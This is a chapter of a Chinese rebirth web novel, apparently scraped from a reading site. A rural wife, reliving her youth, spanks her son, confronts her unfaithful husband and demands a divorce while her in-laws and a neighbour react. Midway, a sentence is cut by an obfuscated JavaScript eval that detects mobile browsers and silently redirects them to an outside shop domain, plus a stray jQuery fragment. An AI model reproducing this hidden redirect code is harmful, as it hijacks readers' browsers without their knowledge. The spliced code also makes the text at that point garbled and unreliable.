蒲香家的人长得都高,她身高有168cm,骨架子算不上大,但也不是纤细款的,当年公婆能看上她,还不嫌弃蒲家条件和他们石家差得远,就是这一点。
人高马大,好干活,好生养。
这是娶个农村妇女过日子,不是选漂亮女明星。
蒲香又是做惯了农活的,她这一身的力气,瘦弱点的农村男人都比不了。
干起农活来,更是他们大队里,数一数二的好手。
她伸手一揍石佳杰的屁股,这孩子本来嚎得厉害,但是半滴眼泪水都没有,现在好了,是真哭了。
痛啊,屁股火辣辣的,是真痛!
石佳杰真哭起来,反而也就不嚎了。
婆婆莫阿妹愣完神之后,赶紧冲了上来从蒲香手里抢人。
“你干什么呢,发什么疯,好好的打什么孩子!”
婆婆一出手,蒲香也不和她抢,一个常年身体不好的老太太,在全大队都是出了名的病弱,她要是不小心把人弄摔了,她没错也成了错。
反正打了这几下,蒲香也解了一点气。
总不能真把孩子打死。
蒲香活了一辈子,也知道自己的性子,就是倔,就是能忍,发不了半点疯。
石大富这个狗男人几次被她捉奸,她都没“疯”过一次。
她这人就是想得太明白,像石大富,你和他吵,和他闹,又有什么用,该偷还是出去偷,吵了闹了,问题也解决不了半点。
更何况,她也不像有些女的,一天到晚跟在男人屁股后面,就防他出去偷吃。
如果不是为了孩子,就第一次被她抓到,她的想法就是离婚。
蒲香和石大富吵过架,但是没和他闹过,她对这个男人早就死心了,不过就是为了孩子,让他看在孩子的面上,收敛着点,别给孩子丢脸。
可结果,自然她的话都不如放屁。
半点用没有。
蒲香在婆婆把孩子抢过去后,就继续拿起筷子吃鸡。
她还没吃完呢。
蒲香那位稳坐如山的公公,就是这会儿也没开口去说儿媳妇不是,不过也跟着去哄孙子。
在这个家里,他们翁媳关系反倒是不错的,相处了二十几年,他对蒲香一向挺好,没说过重话,有事也和她商量,蒲香对他也没有什么怨气。
石大富就是踩着这个点回来的。
孩子在哭,父母在哄,老婆坐在大口吃鸡。
石大富眉一皱,沉了脸:“儿子在哭你不抱他哄哄,就让我爸妈哄,怎么当人妈的?”
蒲香抬了一下眼皮子,果然,现在的石大富也就20多岁的样子,还年轻着。
“他不是你儿子?你不能哄?”
一只鸡两个腿,平时就是默认给石佳杰和石大富吃的,石佳杰已经吃了一只,剩下那只蒲香下手就是它。
三两口把鸡腿吃完,再伸手就是鸡腿上边的部位,也同样是腿肉,比鸡胸可好吃多了。
挑好的,谁不会。
蒲香吃得香。
石大富看得心头火起,他上前就想要伸手拽人。
“你是不是有病?发什么疯!”
啪。
蒲香操起面前的一只碗就往石大富的脚边砸,这一声碎响,不止把石大富给吓住了脚,就连石佳杰的哭声都给吓住了。
疯,真疯了!
石大富这人要说浑蛋吧,是真浑蛋,但要说他的胆子,还真不算大。
蒲香和他结婚几十年,这人开始嘴还贱,但是嘴再贱的时候,也就是动嘴,从来没有过要动手的意思。
还有他和大队里的其他男人一起玩儿,吃喝玩乐,他都愿意掺一脚,可是一旦要干什么坏事,偷个瓜,偷根菜的,他都是不敢去的。
石家一家子被镇住了,蒲香就继续吃,她觉得饿,肚子里空荡荡的,就像是一个无底洞,别说一只鸡,两只,她现在也吃得下。
短暂的沉默,只有咀嚼声。
石大富猛抽了一口气,喃喃:“疯了,真是疯了……”
看蒲香还当他们一家子是空气人似的,越看越觉得扎眼,本来被吓住的劲儿就过了,火气也往上蹿。
“真是一点文化也没有的农村妇女,就知道吃吃吃,连带个孩子都不会,也怪不得,都是初中毕业,你同学周芳当了幼儿园老师,你就只能在田里挑粪干活!”
周芳。
这个名字又唤起了蒲香的另一段记忆。
她冷笑:“是啊,她是好,好到你农忙天扔下一家子的活不干,跑去和人躲在柴垛后乱搞。”
这是第一次,蒲香发现石大富出轨,准确时间也就是在两三天后。
因为两件事加在一起,蒲香受的打击不小,记忆也特别深刻。
听到蒲香的话,石大富的表情立即变了。
“什,什么!你胡说什么,你吃饱了撑的胡说八道!这日子我看你是不想过了,一天到晚跟着大队里那些老太婆嚼舌根子,我看你是脑子也跟着坏掉了!”
我爸也是命不好,娶了我妈。
蒲香突然想到儿子的这话,她将筷子一停,抬头那么冷眼看着对方。
“对,不过了!我就是不想和你过了!”
眼看着夫妻拌嘴进化到吵架要拆伙不过日子了,蒲香那公公石海板着脸就站了起来。
“好了,都少说两句,吵什么吵,三妹农忙辛苦了,多吃点鸡补补,大富你身体不舒服没下地,家里的家务你也该做掉点,帮三妹分担一点,什么不过了,农忙都过去了,接下来都好好歇歇,缓缓情绪。”
活干得苦,心情不好,也是能理解的。
至于儿子和人乱搞这种事情,反正现在是半句不能提的。
“缓什么缓!”
石大富却是不接着他爸这个台阶下,反正梗起了脖子,“不过就不过,谁还稀罕和你过了,要离婚你就滚,就是儿子是我石家的,你别想带走。”
这话要放在蒲香真25岁的时候,确实拿捏住了她,但是65岁的她,儿子将她丢垃圾一样一丢,她已经是半点都不会心软了。
“离婚吧,孩子我不要。”
她眼神冷得可怕,落在人眼里,感觉她完全不像是在说气话。
石大富都有点被她镇住了。
石海那眉心也越皱越紧。
啪、啪。
大门口传来筷子落地的声音,蒲香和石家一家子齐齐看了过去,只见一个矮墩墩的中年女人一手捧着饭碗,尴尬站在那里。
她的一双筷子掉到了地上,赶紧弯腰去捡。
“吃,吃饭呢?”
农村地儿,大家捧着饭碗,夹几筷子菜,边吃边串门的人还不少。
蒲香认出来,这是隔壁林婶子,没事就爱端着饭碗来串门。
换了平时,再尴尬蒲香都会回一句“是啊,吃饭呢”,然后装作没事人一样。
但这一次,她就紧紧闭着嘴不说话。
要尴尬就尴尬着吧,反正石家的脸面关她什么事。
石大富这种时候,也不是个会圆场的性子,婆婆在家对儿媳妇挺能耐,对外一向就不怎么会说话,最后还是公公石海和人说了几句没营养的。
林婶一不小心听到了这么一个大八卦,也不好再待下去,找了个托辞,扭着她圆滚滚的腰,赶紧就跑了。
石家不知道因为什么事情,小夫妻吵架呢!还说要离婚,看来事情可不小!
啧啧,蒲香也是的,石家的条件是大队里数一数二的好,又生了儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055203|149171||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子,现在计划生育,不能再生第二个,她这样一胎得男的,那可真是烧了高香,命好着呢。
就这样,还说要离婚,还孩子都不要,她是疯了吧?
林婶觉得蒲香“拎不清”,又好奇到底是发生了什么事,掉地上的筷子在手背上抹了两下,继续往嘴里扒着饭,转头去了另一家。
她得问问,看看有没有人知道是怎么回事。
……
林婶走后,石海也知道自家儿子儿媳吵架这事肯定要被传出去,不过他倒也不急,这年头谁家不是时不时就吵?
别说喊着离婚的,喊着喝农药,跳井跳河的也不少,不稀奇,最终还不是照样过日子。
“气头上说的话不当真的,都赶紧吃饭,也不怕被别人笑话。”
石海重新坐回了桌前,让老婆抱着已经吓住不哭的孙子喂饭,儿子儿媳面前,他各看了一眼,没再多说话。
他主打一个大事化小,小事化了。
石大富对他爸还是怵的,石家还是石海当家,家里的财政大权都在他手上呢,石大富要干点什么,都得问他爸要钱,不怵不行。
他爸发了话,石大富只好坐下来吃饭。
再加上,他其实也是有点心虚的,他和周芳事情,蒲香是怎么知道的?他们两好上也没多久啊!
八仙桌就那么大小,蒲香看着他就恶心,端了自己的饭碗,一筷子将剩下的鸡全夹自己的饭碗上,直接站起身进了灶房。
在灶房里吃,也比和石大富一桌来得痛快。
“这什么脾气,没点规矩!”
石大富一看大海碗里只剩下一点鸡汤和鸡脖子了,顿时又要发火。
“你坐着。”
石海却是一声低喝,“你再吵,一定要吵到她回娘是吧?”
儿媳妇没有转头就走,就说明这事情不算大,这日子她还是想要继续过的,说离婚什么的,都是气话,当男人的何必再去加把火?
这年头的女人,和家里男人吵架了,也就是回娘家一途,虽说不至于真离婚,也没有几个真离婚的,但是闹到亲家那里,脸上也无光。
当男人的还不是得要上门去接?
去挨老丈人、丈母娘一顿说是什么好滋味?
而且亲家和大舅哥家住一起,上门不得拎得东西,这不得要花钱?
石海觉得自己这个儿子真是不会算账,他给挑的这个儿媳妇哪样不好?吃苦耐劳,老实肯干,最是实惠不过。
就他看上的那些女人,矮矮小小,瘦瘦弱弱,别说挑担子,都能给担子压死。
真是半点眼光也没有。
要不是石大富的眼光太差,石海也乐得成全儿子,不会按他头娶蒲香,但实在是忍不了。
石家一家子在前屋里吃饭,蒲香进的灶间,是主屋之外的附属房,紧挨着主屋。
蒲香爱干净,也爱收拾,她公公石海也是个利落人,做事情的一把好手,所以灶间也收拾得干干净净。
蒲香往灶前的小板凳上一坐,手上不停,嘴里不闲,白米饭配鸡肉,再吃几口都觉得香。
她边吃,边想着事。
她现在这情况,不是在做梦吧?做梦没有这么真实的。
蒲香记起后来她看过的影视剧,还有刷过的短视频,不少拍的穿越、重生题材,看多了,她多少也不陌生。
所以,她现在这情况是,重生了?
蒲香正琢磨着,还狠狠拧了自己的大腿肉一把……嘶,真疼!
这怎么都不像是在做梦。
所以,她是真的重生了,回到了她年轻时?
不等蒲香想明白,理清楚,耳朵动了动,她好像听到了从隔壁传来的动静声。
隐隐的咒骂,和孩子的压抑的痛叫。